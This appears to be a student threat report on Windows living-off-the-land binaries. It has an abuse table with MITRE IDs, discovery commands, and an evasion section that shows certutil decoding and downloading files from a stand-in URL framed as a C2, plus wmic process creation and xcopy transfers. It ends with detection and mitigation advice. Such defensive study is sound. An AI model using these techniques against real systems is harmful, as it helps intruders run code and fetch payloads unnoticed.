Threat Report

Executive Summary

Living off the Land Binarys (LOTL Binarys or LOLBins) are legitimate built-in system utilities that can be abused by bad actors to perform malicious actions including system discovery, file transfer, execution, and much more. Because these programs are already present by default on many windows systems and are commonly used for legitimate purposes, their execution can be difficult to distinquish from legitimate system actions and non malicious usage. Additionally, this means that blocking these binarys entirely can render the device itself less useful and harder to use. They are used by a variety of groups, but to my understanding are heavily favored by those that are after more long term attacks or data thefts moreso than a shorter term ransome hack or anything simular.

LOLBin Index

Binary	Path	Purpose	Abuse	MITRE
cmd.exe	C:\Windows\System32\cmd.exe	CLI interpreter for commands and programs	Used to execute other utilities and discovery methods	T1059.003
certutil.exe	C:\Windows\System32\certutil.exe	Manage, configure, and troubleshoot certificates and keys	Can be abused to download and/or decode files	T1105
dnscmd.exe	C:\Windows\System32\dnscmd.exe	DNS server administration tools	Used to find used DNS zones and records	T1016
ldifde.exe	C:\Windows\System32\ldifde.exe	Manage directory objects in AD DS	Used to find AD structure	T1069.002
makecab.exe	C:\Windows\System32\makecab.exe	Compresses files to a .cab archive	Compressing files before exfiltration	T1560.001
net.exe	C:\Windows\System32\net.exe	Windows network, user, group, and service administration	Can be used to find users, groups, and services	T1087.001
netsh.exe	C:\Windows\System32\netsh.exe	Manage the Windows firewall and networking	Inspect networking/firewall configuration and create proxy connections	T1090
netstat.exe	C:\Windows\System32\netstat.exe	Display network connections and used ports	Used to identify active connections and associated processes	T1049
ntdsutil.exe	C:\Windows\System32\ntdsutil.exe	Variety of database administration tools, useful for data recovery	Can be used to steal AD database contents	T1003.003
tasklist.exe	C:\Windows\System32\tasklist.exe	Lists running processes	Used to discover a detailed list of all running processes	T1057
wevtutil.exe	C:\Windows\System32\wevtutil.exe	Manages and queries event logs	Can be used to query successful logons or clear logs among other things	T1654
wmic.exe	C:\Windows\System32\wbem\wmic.exe	Deprecated tool to run commands through the WMIC utility	Can be used for process creation and WMI queries	T1047

LOLBin Research: Information

Command: systeminfo
Screenshot: Revelation: This command provides essentially all the basic information you could want. It shows the exact version you are on, which attackers could use for version specific exploits. It shows your hostname and basic networking information. It even shows what hardware you are using, which could be used for hardware specific exploitations. This case even shows QEMU, which means it's a VM, and it shows that it only has about 4GB of RAM. If the attacker simply wanted to simply cause a disruption then they could use this information to slow the machine down to the point of a crash. MITRE: T1082

Command: ipconfig /all
Screenshot: Revelation: The addresses show where the machine sits on a network, along with the DNS and gateway it's pointing at. This information could be used both to attack the gateway itself, or to try to place yourself between the device and gateway such to attack the networking system.
MITRE: T1016

Command: net user
Screenshot: Revelation: This command shows all user accounts on a device. This shows the attacker potentially interesting account structure and would likely be used as a preliminary before running other more specific commands on the individual users to identify vulnerabilities. In this case, there aren't many accounts and they are largely defaults, so there likely aren't any immediately abuseable vulnerabilities. MITRE: T1087.001

Command: quser
Screenshot: Revelation: This command shows all users currently logged in. Primarily useful to determine if this machine has any other current users that might immediately notice whatever you might be doing to the machine. MITRE: T1033

Command: tasklist /v
Screenshot: Revelation: Tasklist shows all currently running processes and who owns them. Could be useful to see a list of possible anti virus or otherwise protective services and who owns them to allow you to shut them down.
MITRE: T1057

Command: netstat -ano
Screenshot: Revelation: Shows all active network connections, their state, the attached process, and with who/what ip they're communicating. Could be used to determine how deeply this device is being monitored, to figure out what devices are linked togeather in one way or another, or to use to execute a MITM attack.
MITRE: T1049

Command: netsh interface portproxy show all
Screenshot: Revelation: To my understanding, this command would typically show any ports that redirect to another. In this case, this machine has little on it and no reason to use this, so there aren't any. However, an attacker might be able to use this to find forwarded traffic where the host its directing to could be important or the traffic itself could be. Additionally, these ports might be less hardened than others on the system and it may be simpler to direct traffic through them.
MITRE: T1090

Command: wmic volume list brief
Screenshot: Revelation: Shows the various drives that my device has. In my case, it shows two seperate drives, the basic C drive as well as one with an ID of sorts marked as System Reserved that I imagine must be the OS itself? Regardless, this information could be used by attackers to help determine where important information might be stored. For example if a device has multiple drives and one is explicitly labeled for database use, then the attacker may specifically target that drive.
MITRE: T1082

LOLBin Research: Detection Evasion

Command: certutil -decode C:\temp\encoded.txt C:\temp\decoded.txt
Screenshot: Explanation: Certutil is a legitimate utility that can be used to obfuscate files. In this case, I decode an encoded file and recover the origianl contents. This could be abused to manipulate bring in malicious files without them being detected as such, then decode them for use. Because Certutil is a normal utility, it's execution isn't likely to be flagged and monitored as closely as something might otherwise be.
MITRE: T1140

Command: expand test.cab output.txt Screenshot: Explanation: Expand is a legitimate Windows utility for extracting compressed files. An attacker could abuse it to extract a payload from an archive using a trusted system binary rather than a custom extraction program. Modern antivirus can open zips and cabs to detect malicious contents, but using a native Windows utility can reduce the number of new and suspicious files introduced onto the system and potentially blend the activity with more typical activies. MITRE: T1140

Command: wmic process call create "notepad.exe" Screenshot: Explanation: Wmic is a normal, though deprecated, tool. In this case, an attacker could easily use it to execute malicious code on the machine. Because it is a normal utility, it is likely to blend into typical system logs and whatnot more easily as well. MITRE: T1047

Command: net start spooler Screenshot: Explanation: Net start typically allows users to start services. However, like in the last lab, it could potentially be used to start replaced services or new ones with malicious code. Since this is an entirely typical command with standard and non suspisious logs, it isn't likely the system would immediately flag anything wrong, and a system administrator might overlook it as well. MITRE: T1007

COmmand: xcopy \localhost\c$\temp\test.txt C:\temp\xcopy-test.txt Screenshot: Explanation: Xcopy can, for whatever reason, copy files across the network. As such, an attacker with access to a device on the same network could use this to transfer files out or move them into for usage. As this is a built in binary, again, it is dramatically less likely to trigger any detection than a custom made script for the same use. MItRE: T1105

Command: certutil -urlcache -split -f https://example.com/ C:\temp\example.html Screenshot: Giving an 'Access is Denied' error for some reason whenever I use this command. Cannot determine why as I am using an admin window Explanation: Certutil, like xcopy, has odd usages that I don't quite understand. In this case, certutil can actually download full files off of websites. This could be used to grab a file off of a c2 for usage on this device.

Detection Methods

The majority of executables all result in an Event ID of 1. They also will typically blend well with normal activities on the systems, a large part of why they are used. As such, the best method of detection is largely going to be those you do not need to create yourself. The SwiftOnSecurity configuration for Sysmon is an excellent starting umbrella for a variety of LOLBins if you would like logs for all of them.

Mitigation Recommendations

Organizations should not attempt to wholely block the Binarys used for LOLBins, as there are simply too many and many are too crutial to the system itself. The simplest solution would be to limit access to any form of command prompt for guest users entirely. If they have no way to force custom execution methods or see the output of these, then they can do little harm. However, this will not be possible in the grand majority of cases. The next best would be to use an allow list on these binarys to set which ones can be used and how per user and group. As there are countless numbers of these, I would likely find a prehardened list online as a refrence. Additionally, I would block the unneeded functions of some binarys. If something is not required for your system but is exploitable, the simplest option is to block that function outright. Lastly, I would implement heavy network limitations for what can come in and go out based on what is required to and little more. Many of the most exploitable LOLBins are those that access the internet or can download a file in some manner. If you can block this, a good portion of the basic threat goes away.